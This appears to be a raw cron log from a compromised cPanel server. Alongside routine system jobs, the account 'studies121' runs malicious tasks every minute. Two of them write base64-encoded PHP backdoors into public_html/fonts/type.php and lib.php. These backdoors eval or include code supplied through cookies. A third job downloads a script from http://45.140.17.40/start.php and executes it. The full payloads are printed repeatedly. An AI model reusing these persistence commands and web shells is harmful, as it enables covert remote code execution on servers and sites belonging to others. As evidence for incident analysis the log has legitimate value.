Sep 11 10:58:01 ip-184-168-122-23 CROND[21491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:58:01 ip-184-168-122-23 CROND[21492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 10:59:01 ip-184-168-122-23 CROND[21633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 10:59:01 ip-184-168-122-23 CROND[21635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 10:59:01 ip-184-168-122-23 CROND[21637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 10:59:01 ip-184-168-122-23 CROND[21636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:00:01 ip-184-168-122-23 CROND[21817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:00:01 ip-184-168-122-23 CROND[21820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:00:01 ip-184-168-122-23 CROND[21819]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:00:01 ip-184-168-122-23 CROND[21821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:00:01 ip-184-168-122-23 CROND[21825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:00:01 ip-184-168-122-23 CROND[21824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:00:01 ip-184-168-122-23 CROND[21822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:00:01 ip-184-168-122-23 CROND[21823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:01:01 ip-184-168-122-23 CROND[21938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:01:01 ip-184-168-122-23 CROND[21941]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 11:01:01 ip-184-168-122-23 CROND[21940]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 11:01:01 ip-184-168-122-23 CROND[21942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:01:01 ip-184-168-122-23 CROND[21944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:01:01 ip-184-168-122-23 CROND[21945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21940]: starting 0anacron
Sep 11 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21959]: finished 0anacron
Sep 11 11:02:01 ip-184-168-122-23 CROND[22069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:02:01 ip-184-168-122-23 CROND[22071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:02:01 ip-184-168-122-23 CROND[22072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:02:01 ip-184-168-122-23 CROND[22073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:02:01 ip-184-168-122-23 CROND[22074]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:03:01 ip-184-168-122-23 CROND[22190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:03:01 ip-184-168-122-23 CROND[22191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:03:01 ip-184-168-122-23 CROND[22194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:03:01 ip-184-168-122-23 CROND[22192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:04:02 ip-184-168-122-23 CROND[22301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:04:02 ip-184-168-122-23 CROND[22305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:04:02 ip-184-168-122-23 CROND[22304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:04:02 ip-184-168-122-23 CROND[22307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:04:02 ip-184-168-122-23 CROND[22306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:05:01 ip-184-168-122-23 CROND[22546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:05:01 ip-184-168-122-23 CROND[22550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:05:01 ip-184-168-122-23 CROND[22548]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 11:05:01 ip-184-168-122-23 CROND[22553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:05:01 ip-184-168-122-23 CROND[22552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:05:01 ip-184-168-122-23 CROND[22551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:05:01 ip-184-168-122-23 CROND[22549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:06:02 ip-184-168-122-23 CROND[22679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:06:02 ip-184-168-122-23 CROND[22680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:06:02 ip-184-168-122-23 CROND[22683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:06:02 ip-184-168-122-23 CROND[22684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:06:02 ip-184-168-122-23 CROND[22688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:07:01 ip-184-168-122-23 CROND[22782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:07:01 ip-184-168-122-23 CROND[22783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:07:01 ip-184-168-122-23 CROND[22785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:07:01 ip-184-168-122-23 CROND[22786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:08:01 ip-184-168-122-23 CROND[22909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:08:01 ip-184-168-122-23 CROND[22911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:08:01 ip-184-168-122-23 CROND[22913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:08:01 ip-184-168-122-23 CROND[22912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 11:08:01 ip-184-168-122-23 CROND[22914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:09:01 ip-184-168-122-23 CROND[23061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:09:01 ip-184-168-122-23 CROND[23062]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 11:09:01 ip-184-168-122-23 CROND[23059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:09:01 ip-184-168-122-23 CROND[23060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:09:01 ip-184-168-122-23 CROND[23058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:10:01 ip-184-168-122-23 CROND[23258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
